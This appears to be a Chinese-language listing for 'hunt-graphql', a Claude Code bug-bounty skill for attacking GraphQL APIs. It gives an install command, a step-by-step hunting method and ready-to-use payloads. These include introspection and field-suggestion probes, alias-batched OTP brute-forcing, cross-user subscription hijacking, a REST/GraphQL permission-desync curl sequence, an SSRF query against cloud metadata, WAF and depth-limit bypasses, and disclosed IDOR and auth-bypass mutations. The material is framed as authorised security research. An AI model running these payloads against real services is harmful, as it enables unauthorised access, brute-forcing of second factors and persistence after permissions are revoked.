关于 hunt-graphql
面向安全研究人员的 GraphQL 漏洞狩猎技能,提供端点发现、模式映射和授权测试流程。重点关注 GraphQL 与 REST 交互产生的状态不同步及权限持久化问题。
主要功能
- 01GraphQL 端点与技术栈侦察
- 02模式枚举与关系映射
- 03REST 与 GraphQL 重叠面分析
- 04授权边界及状态不同步测试
- 05批量查询与竞态条件探测
- 06漏洞影响验证与复现记录
适用场景
- 01检查 API 间权限撤销是否一致
- 02测试全局 ID 的越权访问
- 03评估别名批处理和速率限制
- 04复现并记录 GraphQL 竞态漏洞
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-graphql安装后在 Claude Code 中输入/hunt-graphql确认已加载。
详细介绍
高价值目标
GraphQL 漏洞价值很高,因为其攻击面既广又深——单个端点就可能暴露完整的数据模型、权限提升路径以及跨 API 状态混淆。最高额的赏金通常来自:
- 平台 API(GitHub、Shopify、Stripe 级别的目标),其中 GraphQL mutation 会与管理相同资源的 REST API 交互
- GraphQL mutation 与 REST 端点之间的竞态条件,状态同步不是原子操作——这类漏洞通常能稳定达到中到高严重性
- 授权持久化漏洞,团队/组织/仓库成员状态由一个 API 控制,却能由另一个 API 读取/写入
- B2B SaaS 平台,一个租户通过遍历 schema 影响另一个租户=严重漏洞
- 意外向低权限用户暴露的内部管理 GraphQL 端点
GitHub 报告展示了高价值漏洞的典型模式:本应撤销的权限仍然有效,因为两个 API 对真实状态的认定不一致。
攻击面信号
URL 模式:
/graphql
/api/graphql
/v1/graphql
/query
/gql
/graph
/api/v2/graphql
/internal/graphql
响应标头:
Content-Type: application/json (with query body)
X-Request-Id + no REST-style path params = likely GraphQL
JavaScript 源码模式:
// grep for these in JS bundles
"query {"
"mutation {"
"__typename"
"apollo"
"ApolloClient"
"graphql-tag"
"gql`"
"operationName"
"GRAPHQL_URI"
技术栈信号:
- JS bundle 中的 Apollo Server/Client
- React 应用中的 Relay
graphene或strawberry(Python)、graphql-ruby、gqlgen(Go)、Lighthouse(Laravel)- Burp 历史记录中请求体为
{"query": "..."}的 POST 请求 - 任意响应中出现
__schema或__type=确认存在 GraphQL
侦察来源:
- 在
github.com搜索:"graphql" site:target.com - 使用 Wayback Machine 查找
/graphql路径 - 使用
LinkFinder或getallurls扫描 JS bundle
逐步狩猎方法
-
发现端点——爬取 JS bundle,检查
/graphql、/api/graphql,并查看 Burp 被动扫描中application/jsonPOST 请求的查询字段命中项 -
测试内省功能——发送完整的内省查询。即使被拦截,也要尝试枚举字段:
{ __typename }如果返回结果,说明内省功能可能只被部分拦截,但仍可发现 schema
-
映射完整 schema——使用
InQL(Burp 扩展)或graphql-voyager可视化关系。具体查找:- 修改所有权、权限或成员身份的 mutation
- 与 REST API 功能对应的 mutation
-
识别 REST/GraphQL 重叠部分——记录所有既能通过 REST 又能通过 GraphQL 修改的资源。这些双写操作面就是你的竞态条件目标。
-
逐个 mutation 测试授权边界——以低权限用户身份重放 mutation。服务器执行的授权检查是否与对应的 REST 调用一致?
-
狩猎跨 API 状态不同步问题——查找以下操作序列:
- REST 操作本应撤销访问权限
- GraphQL mutation 重新授予或保留该权限
- 测试操作顺序:先 REST → 再 GraphQL → 检查状态;然后先 GraphQL → 再 REST → 检查状态
-
测试角色/成员身份变更后权限是否仍然存在——通过 REST 移除用户,然后调用该资源对应的 GraphQL mutation。通过两个 API 查询当前状态并进行比较。
-
探测 node ID 中的 IDOR——GraphQL 全局 ID 通常会编码对象类型和 ID。跨对象边界以及不同账户上下文替换 ID。
-
检查批量查询滥用——发送操作数组,以绕过速率限制或扩大枚举范围。
-
记录准确的复现步骤——对于竞态条件漏洞,必须确保基于时间顺序的步骤可确定性地复现。
载荷与检测模式
完整内省查询:
{
__schema {
types {
name
fields {
name
type {
name
kind
}
}
}
}
}
最小内省探测(绕过尝试):
{ __typename }
curl 内省测试:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer YOUR_TOKEN" \
-d '{"query":"{ __schema { queryType { name } } }"}' | jq .
字段建议探测(绕过盲目内省拦截):
{ unknownField }
如果响应返回 "Did you mean: [realFieldName]?",则说明即使内省已禁用,仍可枚举架构。
批量查询放大:
[
{"query": "{ user(id: 1) { email } }"},
{"query": "{ user(id: 2) { email } }"},
{"query": "{ user(id: 3) { email } }"}
]
订阅劫持(跨用户频道访问):
subscription { messageAdded(channelId: "OTHER_USERS_CHANNEL") { content sender { email } } }
如果订阅没有按用户进行范围限制,攻击者就能接收来自其他用户频道或对话的实时事件。
通过别名批处理暴力破解多组 OTP/2FA 验证码:
mutation {
v1: verifyOtp(code:"000001"){token}
v2: verifyOtp(code:"000002"){token}
v3: verifyOtp(code:"000003"){token}
}
单个 GraphQL 请求会使用不同的 OTP 验证码为同一个 mutation 设置别名。结合并行 HTTP,这可以绕过每请求速率限制,并将暴力破解尝试压缩到更少的网络往返中。
RC desync 测试模式(伪序列):
# Step 1: Grant access via REST
curl -X PUT https://api.target.com/repos/ORG/REPO/teams/TEAM \
-H "Authorization: token ADMIN_TOKEN" \
-d '{"permission":"admin"}'
# Step 2: Revoke via REST
curl -X DELETE https://api.target.com/repos/ORG/REPO/teams/TEAM \
-H "Authorization: token ADMIN_TOKEN"
# Step 3: Re-assert via GraphQL mutation
curl -X POST https://api.target.com/graphql \
-H "Authorization: bearer ATTACKER_TOKEN" \
-d '{"query":"mutation { updateTeamsRepository(input: {repositoryId: \"REPO_ID\", teamId: \"TEAM_ID\", permission: ADMIN}) { clientMutationId } }"}'
# Step 4: Verify persistent access
curl https://api.target.com/repos/ORG/REPO/teams \
-H "Authorization: token ADMIN_TOKEN"
在 JS bundle 中搜索 GraphQL:
grep -Eo '(query|mutation|subscription)\s+\w+\s*[\({]' bundle.js
grep -Eo '"(/[a-z0-9/_-]*graphql[a-z0-9/_-]*)"' bundle.js
GraphQL 内省与审计工具:
# InQL (Burp extension) — visualize GraphQL schema and relationships
inql -t https://target/graphql --generate-queries
# Clairvoyance — brute-force field names when introspection is disabled
python3 clairvoyance.py -u https://target/graphql -H "Authorization: Bearer TOKEN" -w wordlist.txt -o schema.json
# GraphQL Cop — scan for common misconfigurations (introspection enabled, no depth limits, etc.)
graphql-cop -t https://target/graphql
常见根本原因
-
双写但未进行原子锁定 — 开发者分别在 REST 和 GraphQL 中实现对同一资源的修改。对于该资源,两个系统彼此互不知情。状态更新既未串行化,也未进行比较。
-
授权中间件不一致 — REST 端点经过一层身份验证(例如中间件链),GraphQL 解析器则经过另一种解析器级检查。同一操作,执行的权限控制却不同。
-
将 GraphQL 作为“新 REST”迁移 — 团队添加与 REST 功能相对应的 GraphQL mutation,却未审核权限模型。GraphQL 版本尚不成熟,遗漏了 REST 版本随时间积累的检查。
-
生产环境仍启用内省 — 默认框架设置(Apollo、Graphene)会在所有环境中启用内省。开发者忘记将其禁用,并把它当作“只是文档”。
-
信任节点 ID,但不重新授权 — GraphQL 全局 ID(
base64("ObjectType:123"))解码后便被直接信任,未验证请求用户是否有权访问该特定对象。 -
未同步 mutation 的副作用 — 当 REST 操作触发级联效果(例如移除团队成员会级联撤销权限)时,对应的 GraphQL mutation 却未触发相同的级联操作。
绕过技术
防御:禁用内省
- 通过字段建议错误绕过 — 发送无效字段名,并解析“did you mean X?”响应
- 使用
clairvoyance,根据单词列表暴力猜测字段名 - 检查 JS bundle 中是否有可揭示架构的硬编码查询字符串
防御:深度限制
- 使用片段展开,在不触发限制的情况下增加有效深度:
fragment F on User { repos { teams { members { ...F } } } }
防御:按 IP 限速
- 使用批量操作(在一个 POST 中发送查询数组)
- 通过多个已验证身份的会话进行分发
防御:mutation 上的身份验证检查
- 使用不同权限级别(查看者、成员、管理员)的令牌进行测试
- 测试未验证身份的情况 — 部分 mutation 完全不检查会话
- 使用来自不同组织的令牌进行测试 — 多租户 IDOR
防御:WAF 屏蔽 __schema
- 为内省字段设置别名:
{ s: __schema { t: types { n: name } } }
- 使用 HTTP 参数污染或备用 Content-Type 标头
防御:操作白名单(持久化查询)
- 检查
extensions.persistedQuery哈希不匹配时,服务器是否会回退到临时查询 - 查找非白名单端点(开发、预发布、内部代理)
别名批处理:何时能赢得竞态,何时不能
一种常见说法是“别名批处理可以绕过单用户速率限制和防止双重消费的保护”。这是否真的有效,取决于解析器执行模型:
| 解析器类型 | 对别名变更的处理方式 | 别名批处理能赢得竞态吗? |
|---|---|---|
多线程 / DataLoader 批处理异步 | 别名并发运行,通过批处理共享状态 | 是 — 单个 HTTP 请求即可将竞态目标放大 N 倍 |
| 单线程 / 每个请求使用单个数据库连接 | 别名串行运行;第一个变更会关上大门 | 否 — 需结合并行 HTTP 请求 |
| 分布式网关(Apollo Federation) | 子查询并发分发到子图 | 取决于每个子图 |
验证示例(单线程 Flask + SQLite 解析器):
- 在一个请求中发送 10 个别名
redeemCoupon变更 → 只有r1成功,r2-r10 均因already_redeemed失败。仅靠别名批处理还不够。 - 将相同的 10 个变更作为 20 个并行 HTTP POST 请求发送 → 成功 20 次(从一张 100 美元的优惠券中兑换出 2000 美元)。
操作规则: 将别名批处理视为单次往返时间的侦察原语。利用竞态目标时,应结合 hunt-race-condition 的并行 HTTP / Turbo Intruder 单数据包攻击。已在 docs/verification/phase2e-jwt-graphql-race.md 的测试 11 与测试 12 中验证。
Gate 0 验证
-
攻击者现在可以做什么? 必须是具体行为:访问本不应看到的数据、撤销后仍保留权限、修改其他用户的资源。仅“可以看到架构”还不够 — 架构能解锁什么?
-
受害者会失去什么? 必须是真实资产:数据机密性、访问控制完整性、组织安全保障。对于 RC 模式:组织管理员失去了“移除团队即可撤销所有访问权限”这一保障。这违反了安全约定。
-
能否从头开始在 10 分钟内复现? 对于 RC / 脱同步漏洞:写出准确的 curl 命令序列,并运行两次。如果权限可确定性地持续存在(而非依赖时序、时好时坏),则可以报告。如果需要碰运气才能赶上毫秒级时机,请记录时间窗口,并在低负载时段进行测试。
真实影响案例
场景 A — 团队移除后暗中保留管理员权限(GitHub 模式)
攻击者原本通过团队成员身份合法获得了某个仓库的管理员权限。组织管理员通过 REST API 将其移除。在移除完成前,攻击者调用 updateTeamsRepository GraphQL mutation,将其团队重新关联并赋予管理员权限。REST 移除操作与 GraphQL 重新授权造成状态不同步:界面显示团队已被移除,但 GraphQL 状态仍保留管理员级别的访问权限。攻击者得以无限期暗中保留该仓库的写入权限——既可推送代码,也可读取 CI/CD 中的机密——却不会出现在团队成员列表中。组织审计也无法清除这一状态。
场景 B — 通过仓库转移竞态暗中保留访问权限(GitHub 模式)
拥有管理员权限的攻击者通过 REST API 发起仓库转移,将仓库转移到另一个组织。在转移期间或之后,攻击者对现已转移的仓库 ID 调用 updateTeamsRepository。由于 GraphQL mutation 对当前组织所有权状态的校验与 REST 转移事件不同步,攻击者原先所在的团队仍保留对该仓库的管理员权限,而仓库此时已归另一个组织所有。接收方组织无法看到这一团队关联。攻击者可以窃取其并无合法关系的组织的知识产权。
场景 C — 内省是侦察工作的前置条件(Shopify 模式)
在一个按计划规则有意启用内省的平台上,安全研究人员梳理了完整的 schema,并发现了公共文档中未提及的 fulfillmentOrderMove 和 inventoryAdjust mutation。这些 mutation 接受商家 ID 作为参数,但从 schema 中看不到任何作用域校验。此类侦察可直接用于针对商家间数据隔离开展 IDOR 测试——内省本身的严重性为零,但它是发现严重漏洞的切入点。
已披露报告引用(补充 +9 — 2019-2024)
以下是经核实的真实漏洞赏金/协调披露案例,补充了最初的 3 个内部参考案例,扩展了本技能的覆盖范围。每个案例都属于不同的 GraphQL 子类别,并且引用的报告中记录了可运行的 PoC。
-
HackerOne — 通过 GraphQL
User类型暴露机密用户数据(H1 #489146)- 子类别:字段级授权缺失(PII 暴露)
- Payload:直接查询
user(id:...),返回email、backup_codes_hash、facebook_user_id、account_recovery_phone_number_verified_at、totp_enabled - 根本原因:后端迁移引入了一个缺少字段级授权的 GraphQL
User类型;任何已认证用户都可以枚举所有用户的 PII - 年份:2019 — $20,000,1,028 次点赞
-
HackerOne —
DestroyLlmConversationmutation IDOR(Copilot 发布前)(H1 #2218334)- 子类别:AI/LLM 功能中的 mutation IDOR
- Payload:
mutation { destroyLlmConversation(input:{id:"<victim_conv_id>"}) { … } } - 根本原因:新推出的 LLM 对话 mutation 未添加授权装饰器;任何用户都可以销毁任何对话
- 年份:2023 — 在发布前发现,无漏洞赏金(202 次点赞)
-
Shopify —
BillingDocumentDownload跨租户 IDOR(H1 #2207248)- 子类别:跨租户的 relay GID IDOR
- Payload:
query { billingDocumentDownload(id:"gid://shopify/BillingInvoice/<other_shop_id>") { url } } - 根本原因:
BillingInvoiceresolver 对请求方的店铺进行了授权,但未验证发票是否属于该店铺 - 年份:2024 — $5,000,175 次点赞
-
Shopify — 利用负数成本绕过速率限制(H1 #481518)
- 子类型:滥用查询成本计算(与别名批处理属于同类模式)
- Payload:
query { products(first:-100) { … } }— 负数first产生负的查询成本贡献,每次调用都会为漏桶补充额度 - 根本原因:查询成本计算器没有将结果下限设为零;负值会从已消耗的额度中扣除
- 年份:2019 — $1,000
-
Stripe — 通过
UpdateAtlasApplicationPerson实现跨租户 IDOR(H1 #1066203)- 子类型:突变操作中的跨租户 IDOR
- Payload:
mutation { updateAtlasApplicationPerson(input:{personId:"<victim_person_id>", …}) }— 在其他商家的 Stripe Atlas 申请中添加或修改联合创始人 - 根本原因:该突变仅检查“是否为某个商家的管理员”,而未检查“是否为拥有此人员的商家的管理员”
- 年份:2020 — 奖金未披露(已解决)
-
EXNESS — GraphQL
allTicks查询中的 SSRF(H1 #1864188)- 子类型:通过 GraphQL 参数实现 SSRF
- Payload:
query { allTicks(source:"http://169.254.169.254/latest/meta-data/") { … } }—source参数被传入服务端 HTTP 客户端 - 根本原因:GraphQL 字段接受 URL 参数并直接访问,未设置 scheme/host 允许列表
- 年份:2023 — $3,000,249 票赞同
-
EXNESS — GraphQL 属性批处理 DoS(H1 #2293642)
- 子类型:通过批处理/深层属性放大对未认证端点发起 DoS
- Payload:单个 HTTP 请求包含 N 个批处理操作,每个操作都请求深度嵌套的属性树,持续发送直至源站 OOM
- 根本原因:未认证的
/graphql没有查询深度、查询复杂度或批处理大小限制 - 年份:2024 — 奖金未披露(已解决)
-
GitLab — 通过
runnerUpdate关联恶意 Runner(CVE-2023-2478)(公告)- 子类型:突变操作中的身份验证绕过/缺少项目范围检查
- Payload:
mutation { runnerUpdate(input:{id:"<attacker_runner_gid>", associatedProjects:["<victim_project_gid>"]}) } - 根本原因:
runnerUpdate未检查调用者是否在目标项目中拥有 Maintainer 权限——任何用户都可以绑定自己的恶意 Runner 并截获 CI 作业(构建机密、代码执行) - 年份:2023 — 严重,CVSS 9.6(H1 奖金未披露;GitLab 严重级别通常为 $20k–$35k)
-
AS Watson — 通过不受限制的
createAdminUser突变绕过身份验证(HackerOne 博客)- 子类型:无需身份验证即可访问敏感突变(借助内省发现)
- Payload:通过内省枚举 schema 后,在未认证状态下调用
mutation { createAdminUser(input:{email:"x@x", role:"ADMIN", password:"…"}) { token } } - 根本原因:schema 缺少逐字段授权指令;
createAdminUser向公共角色开放 - 年份:2023 — 获得 HackerOne Ambassador World Cup 的“最佳漏洞”奖
相关技能与攻击链
hunt-idor— GraphQL 的node(id:)和全局 Relay ID 解析器是 IDOR 的温床:形式相同,却没有作用域限制。攻击链原语:GraphQL 内省 + IDOR(node()解析器)→ 重放经过 Base64 解码的 type:id,以跨租户访问数据。hunt-api-misconfig— GraphQL 变更是批量赋值的重灾区:客户端发送完整输入对象,服务端进行合并。攻击链原语:GraphQL 变更 + 额外字段(isAdmin:true、verified:true)→ 批量赋值 → 权限提升。hunt-business-logic— GraphQL 别名允许在单个请求中调用同一变更 N 次,从而绕过每请求速率限制。攻击链原语:带别名的变更 + 业务逻辑缺陷 → 在单次网络往返中兑换优惠券 N 次。hunt-race-condition— GraphQL 批处理会将 N 个变更合并到一个 HTTP 数据包中,是理想的单包竞态载体。攻击链原语:GraphQL 批处理 + 竞态 → 缺少原子更新 → 余额被双重消费。security-arsenal— 加载 GraphQL Payload Pack:内省查询、模式建议错误探测、别名放大模板、深度炸弹 DoS 载荷、批量攻击模板。triage-validation— 应用 Body-Diff Rule:仅内省属于信息性发现;提交前必须提供具体的跨租户读取 PoC,或具有实际影响的变更 PoC。